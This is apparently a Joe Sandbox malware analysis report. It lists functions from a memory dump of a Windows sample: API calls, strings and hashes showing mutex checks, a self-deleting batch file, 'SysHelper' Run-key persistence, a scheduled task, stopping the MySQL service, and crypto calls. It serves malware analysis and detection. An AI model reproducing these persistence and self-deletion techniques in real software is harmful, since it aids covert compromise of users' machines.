Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
@echo off:trydel ", xrefs: 0041262A
delself.bat, xrefs: 0041261C
"if exist ", xrefs: 00412648
" goto try, xrefs: 00412666
TEMP, xrefs: 004125DF
D, xrefs: 00412720
del ", xrefs: 00412674

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----END , xrefs: 0046382F, 00463940, 004639E4
-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(005C8988), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

